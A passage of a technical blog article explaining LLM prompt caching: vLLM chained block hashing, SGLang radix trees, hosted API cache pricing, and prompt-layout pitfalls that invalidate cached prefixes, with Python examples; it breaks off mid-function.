&lt;p&gt;How that indexing works depends on the engine. The two major approaches today are &lt;strong&gt;chained block hashing&lt;/strong&gt; (vLLM) and &lt;strong&gt;radix trees&lt;/strong&gt; (SGLang).&lt;/p&gt;

&lt;h2&gt;
  
  
  Engine Internals 1: vLLM Automatic Prefix Caching (Chained Block Hashing)
&lt;/h2&gt;

&lt;p&gt;vLLM implements Automatic Prefix Caching (APC) using a hash-indexed block pool.&lt;/p&gt;

&lt;p&gt;Because the Key and Value representations of a token depend on all preceding tokens in the sequence, you cannot identify a KV block by its own tokens alone. The phrase &lt;code&gt;"return true;"&lt;/code&gt; produces completely different Key and Value tensors in a JavaScript function than in a C++ program.&lt;/p&gt;

&lt;p&gt;To solve this, vLLM creates a &lt;strong&gt;chained hash&lt;/strong&gt; for every physical block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hash_block_tokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash_function&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;parent_block_hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;curr_block_token_ids&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;extra_keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;parent_block_hash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;parent_block_hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;NONE_HASH&lt;/span&gt;
    &lt;span class="n"&gt;curr_block_token_ids_tuple&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curr_block_token_ids&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;BlockHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nf"&gt;hash_function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parent_block_hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;curr_block_token_ids_tuple&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;extra_keys&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each block's identity is a hash of three components:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Parent block hash:&lt;/strong&gt; The hash of the immediately preceding block. This cryptographically links the block to the entire sequence that came before it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Current block token IDs:&lt;/strong&gt; The exact tuple of token IDs (e.g. 16 integers) inside this block.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Extra keys:&lt;/strong&gt; Contextual modifiers that alter execution, such as active LoRA adapter IDs, multimodal image hashes, or a &lt;code&gt;cache_salt&lt;/code&gt; for multi-tenant isolation.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Block 0 [Tokens 0..15]
Hash: sha256(NONE, [tokens_0_15], extra)
       │
       ▼
Block 1 [Tokens 16..31]
Hash: sha256(Block_0_Hash, [tokens_16_31], extra)
       │
       ▼
Block 2 [Tokens 32..47]
Hash: sha256(Block_1_Hash, [tokens_32_47], extra)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Lookup and Cache Hit Logic
&lt;/h3&gt;

&lt;p&gt;When a new prompt arrives:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The engine tokenizes the prompt.&lt;/li&gt;
&lt;li&gt;The request block hasher computes the expected hash chain for all full blocks in the prompt.&lt;/li&gt;
&lt;li&gt;The scheduler walks the block pool looking up hashes:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;   &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;block_hash&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;full_block_hashes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
       &lt;span class="n"&gt;cached_block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;block_pool&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_cached_block&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
       &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;cached_block&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
           &lt;span class="k"&gt;break&lt;/span&gt; &lt;span class="c1"&gt;# The chain broke. Stop lookup.&lt;/span&gt;
       &lt;span class="n"&gt;computed_blocks&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cached_block&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;For matched blocks, the scheduler increments their reference counts (&lt;code&gt;ref_cnt += 1&lt;/code&gt;), marks them as protected from eviction, and points the request's block table to them.&lt;/li&gt;
&lt;li&gt;The model only runs prefill on the remaining uncached tokens!&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  The Block Boundary Rule
&lt;/h3&gt;

&lt;p&gt;There is an important engineering detail in vLLM's APC: &lt;strong&gt;it only caches full blocks&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;If your block size is 16 tokens and your shared prompt prefix is 45 tokens long:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Block 0 (tokens 0 to 15): Cached and matched.&lt;/li&gt;
&lt;li&gt;Block 1 (tokens 16 to 31): Cached and matched.&lt;/li&gt;
&lt;li&gt;Tokens 32 to 44 (13 tokens): Cannot form a full block of 16 tokens.&lt;/li&gt;
&lt;li&gt;Result: Only 32 tokens are served from cache. The remaining 13 tokens must be prefilled along with whatever dynamic text follows.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Furthermore, the model must always compute the final prompt token during prefill. The KV cache holds keys and values, not next-token output logits. To sample the first generated token, the model must run the forward pass through the attention layers for at least the final token position.&lt;/p&gt;

&lt;h2&gt;
  
  
  Engine Internals 2: SGLang RadixAttention (Token-Level Prefix Trees)
&lt;/h2&gt;

&lt;p&gt;While vLLM uses fixed-size hashed blocks, SGLang took a different architectural approach: &lt;strong&gt;RadixAttention&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A radix tree (or compact prefix tree) is a data structure where each edge represents a sequence of tokens of arbitrary length, rather than a single character or fixed-size block. Nodes represent points where different prompts branched apart.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                  [ ROOT ]
                     │
             "You are a helpful" (Edge 1, 4 tokens)
                     │
                 [ Node A ]
                /          \
   "coding assistant..."    "medical assistant..."
   (Edge 2, 2,000 tokens)   (Edge 3, 1,800 tokens)
            │                        │
        [ Node B ]               [ Node C ]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In RadixAttention:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Keys:&lt;/strong&gt; Token sequences of variable length.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Values:&lt;/strong&gt; Pointers to physical paged KV cache tensors in GPU memory.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Maintenance:&lt;/strong&gt; The radix tree is maintained in CPU host memory, adding sub-millisecond overhead to request routing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Radix Tree Lifecycle in a Multi-Turn Run
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Initial Request:&lt;/strong&gt; Request 1 sends &lt;code&gt;[System Prompt] + [Question 1]&lt;/code&gt;. SGLang inserts the token stream into the radix tree as a single edge from the Root to Node A. The GPU computes the KV cache and links it to that edge.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;First Output:&lt;/strong&gt; The model generates &lt;code&gt;[Answer 1]&lt;/code&gt;. SGLang appends &lt;code&gt;[Answer 1]&lt;/code&gt; as an edge extending from Node A to Node B. The generated tokens' KV cache is also retained.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Second Turn:&lt;/strong&gt; Request 2 arrives with &lt;code&gt;[System Prompt] + [Question 1] + [Answer 1] + [Question 2]&lt;/code&gt;. The runtime matches the prompt against the tree from Root $\to$ Node A $\to$ Node B. It finds a complete match for the first three components. Zero prefill is needed for those tokens. Only &lt;code&gt;[Question 2]&lt;/code&gt; is executed through the model.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Branching (Edge Splitting):&lt;/strong&gt; A different user arrives with &lt;code&gt;[System Prompt] + [Alternative Question]&lt;/code&gt;. SGLang walks the tree, matches &lt;code&gt;[System Prompt]&lt;/code&gt;, and hits Node A. Because the next tokens diverge, Node A splits, creating a new branch for the new conversation while keeping the shared system prompt KV cache untouched.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Eviction and Cache-Aware Scheduling
&lt;/h3&gt;

&lt;p&gt;GPU memory is finite. When the GPU runs low on space for new requests, RadixAttention evicts cached nodes using a Least Recently Used (LRU) policy with reference counting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Reference Counter:&lt;/strong&gt; Each node tracks how many currently executing batches are reading its KV tensors. If &lt;code&gt;ref_counter &amp;gt; 0&lt;/code&gt;, the node is locked and cannot be evicted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Leaf Eviction:&lt;/strong&gt; Eviction runs recursively from leaf nodes toward the root. Because child nodes depend on parent prefixes, an engine can never evict a parent node while keeping its children. Evicting the least recently accessed conversation branches preserves the high-traffic root nodes (like base system instructions).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cache-Aware Scheduling:&lt;/strong&gt; Standard First-Come-First-Served (FCFS) request queues cause cache thrashing if consecutive requests need different system prompts. SGLang sorts waiting requests by matched prefix length, grouping requests that share KV subtrees together to maximize hit rates.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How Hosted APIs Implement It (Anthropic, OpenAI, DeepSeek)
&lt;/h2&gt;

&lt;p&gt;If you are not running your own vLLM or SGLang cluster, you interact with prompt caching through managed API endpoints.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Provider&lt;/th&gt;
&lt;th&gt;Mechanism&lt;/th&gt;
&lt;th&gt;Minimum Threshold&lt;/th&gt;
&lt;th&gt;Pricing Model&lt;/th&gt;
&lt;th&gt;Cache Duration (TTL)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Anthropic (Claude)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Explicit &lt;code&gt;cache_control&lt;/code&gt; breakpoints or top-level automatic&lt;/td&gt;
&lt;td&gt;1,024 tokens&lt;/td&gt;
&lt;td&gt;Cache Write: +25% cost&lt;br&gt;Cache Read: 90% discount (10% base cost)&lt;/td&gt;
&lt;td&gt;5-minute rolling TTL (refreshes on every hit)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OpenAI (GPT-4o)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fully automatic (128-token chunk hashes)&lt;/td&gt;
&lt;td&gt;1,024 tokens&lt;/td&gt;
&lt;td&gt;Cache Read: 50% discount&lt;/td&gt;
&lt;td&gt;Dynamic system-managed LRU&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DeepSeek (V3 / R1)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fully automatic prefix matching&lt;/td&gt;
&lt;td&gt;64 tokens&lt;/td&gt;
&lt;td&gt;Cache Read: ~75% to 90% discount&lt;/td&gt;
&lt;td&gt;Dynamic system-managed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In Anthropic's Messages API, you can place cache breakpoints explicitly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"claude-3-7-sonnet-20250219"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;max_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s2"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;long_system_prompt_and_rules&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s2"&gt;"cache_control"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"ephemeral"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="c1"&gt;# Cache breakpoint 1&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;tools&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tool_definitions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# Cache breakpoint can also be placed on the last tool&lt;/span&gt;
    &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;conversation_turns&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When Anthropic's gateway receives this request, it checks whether a cached KV state exists for all tokens up to that &lt;code&gt;cache_control&lt;/code&gt; marker. If it finds a match, &lt;code&gt;response.usage.cache_read_input_tokens&lt;/code&gt; returns the cached count, and you are charged 10% of standard input pricing for those tokens.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Prefix Invalidation Trap: Why One Token Breaks Everything
&lt;/h2&gt;

&lt;p&gt;Now we arrive at the core failure mode that catches engineering teams off guard.&lt;/p&gt;

&lt;p&gt;In traditional software caching, if you cache an object with 10 fields and update field #2, fields #3 through #10 are still valid in memory.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In an autoregressive transformer, that is physically impossible.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Transformers rely on causal self-attention. Every token at position $i$ attends to every preceding token at positions $0, 1, \dots, i-1$. Furthermore, modern models use Rotary Position Embeddings (RoPE), which inject position-dependent rotation into query and key vectors:&lt;/p&gt;

&lt;p&gt;$$R_{\Theta, m}^d K_m$$&lt;/p&gt;

&lt;p&gt;If you change token at index 5:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Token 5's Key and Value vectors change.&lt;/li&gt;
&lt;li&gt;Every subsequent token (index 6 through 10,000) now needs to attend to the &lt;em&gt;new&lt;/em&gt; Key and Value vectors of token 5.&lt;/li&gt;
&lt;li&gt;Their attention outputs and layer representations are completely different.&lt;/li&gt;
&lt;li&gt;In vLLM, the chained hash at Block 0 breaks. Because Block 1 takes &lt;code&gt;parent_block_hash&lt;/code&gt; as input, every subsequent block hash in the sequence changes.&lt;/li&gt;
&lt;li&gt;In SGLang, the radix tree match terminates at the divergence point.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;A change of one token at position 5 invalidates 100% of the cached KV state after position 5.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The 5 Traps That Silently Kill Cache Hit Rates
&lt;/h3&gt;

&lt;p&gt;Here are the five most common patterns that destroy prompt caching in production:&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Dynamic Timestamps in System Prompts
&lt;/h4&gt;

&lt;p&gt;Many developers inject the current time at the very top of their system instructions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD: Breaks prompt cache on every single request&lt;/span&gt;
&lt;span class="n"&gt;system_prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"""You are a helpful assistant.
Current time: {datetime.utcnow().isoformat()}

Here are your 40 complex operating guidelines...
"""&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the timestamp changes every second, token 12 diverges on every request. The remaining 3,000 tokens of static guidelines never hit the cache.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Non-Deterministic Tool Schema Serialization
&lt;/h4&gt;

&lt;p&gt;In Python, dictionaries preserved insertion order starting in Python 3.7. But when converting tool schemas or Pydantic models to JSON strings, key order can vary across processes or updates:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD: Non-deterministic key ordering&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="n"&gt;tool_schema_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;my_tool_dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# Keys may serialize in arbitrary order&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;{"name": "search", "description": "..."}&lt;/code&gt; serializes as &lt;code&gt;{"description": "...", "name": "search"}&lt;/code&gt; on worker B, worker B gets a total cache miss despite having identical tool semantics.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Ephemeral IDs at the Beginning of the Prompt
&lt;/h4&gt;

&lt;p&gt;Putting user IDs, request IDs, or session UUIDs in the header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD: Unique prefix per user/session&lt;/span&gt;
&lt;span class="n"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"Session ID: {uuid.uuid4()}\nUser: {user_id}\n\n[Long Static Knowledge Base]"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ensures that no two users or sessions can ever share the cached KV state of the knowledge base.&lt;/p&gt;

&lt;h4&gt;
  
  
  4. Shuffling Few-Shot Exemplars
&lt;/h4&gt;

&lt;p&gt;Some developers shuffle few-shot examples randomly to prevent positional bias. While well-intentioned for model evaluation, in production this turns a static 2,000-token prompt into $k!$ different permutation prefixes, cratering cache hits.&lt;/p&gt;

&lt;h4&gt;
  
  
  5. Tokenizer Whitespace and Punctuation Boundaries
&lt;/h4&gt;

&lt;p&gt;Byte-Pair Encoding (BPE) tokenizers merge spaces with following words.&lt;br&gt;
&lt;code&gt;"System prompt:\n"&lt;/code&gt; might tokenize as &lt;code&gt;[1200, 340, 198]&lt;/code&gt;.&lt;br&gt;
&lt;code&gt;"System prompt:\n\n"&lt;/code&gt; might tokenize as &lt;code&gt;[1200, 340, 273]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Notice that the third token ID is not an extra token appended; the tokenizer merged &lt;code&gt;\n\n&lt;/code&gt; into a completely distinct single token ID (&lt;code&gt;273&lt;/code&gt;). A stray space or extra newline near the top of your prompt can alter token boundaries and invalidate the downstream prefix.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Frozen Prefix Architecture
&lt;/h2&gt;

&lt;p&gt;To get 90%+ prompt cache hit rates in production, you must structure your prompt layout as a &lt;strong&gt;Frozen Prefix Hierarchy&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Think of your prompt as an append-only log. The most stable, universal text sits at the root. The most dynamic, volatile text sits at the tail.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────────────────────────────┐
│ LAYER 1: Base System Persona &amp;amp; Rules (Never Changes)     │  &amp;lt;-- 100% Cache Hit
├──────────────────────────────────────────────────────────┤
│ LAYER 2: Deterministic Tool Schemas (Sorted JSON)        │  &amp;lt;-- 100% Cache Hit
├──────────────────────────────────────────────────────────┤
│ LAYER 3: Static Few-Shot Exemplars (Pinned Order)        │  &amp;lt;-- 100% Cache Hit
├──────────────────────────────────────────────────────────┤
│ LAYER 4: Multi-Turn Conversation History (Append-Only)   │  &amp;lt;-- Progressive Hit
├──────────────────────────────────────────────────────────┤
│ LAYER 5: Volatile Variables (Timestamp, User Query)       │  &amp;lt;-- Cache Divergence
└──────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Production Implementation
&lt;/h3&gt;

&lt;p&gt;Here is how to structure an agent runner in Python to guarantee deterministic caching:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;canonical_json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="s2"&gt;"""Serialize JSON with deterministic key ordering and compact spacing."""&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sort_keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;separators&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;','&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;':'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;build_cache_optimized_prompt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;system_rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;tools&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;few_shots&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;user_query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;user_metadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;dict&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="c1"&gt;# 1. Base instructions: strictly static text&lt;/span&gt;
    &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"system"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;system_rules&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 2. Tools: sorted alphabetically by tool name before serialization&lt;/span&gt;
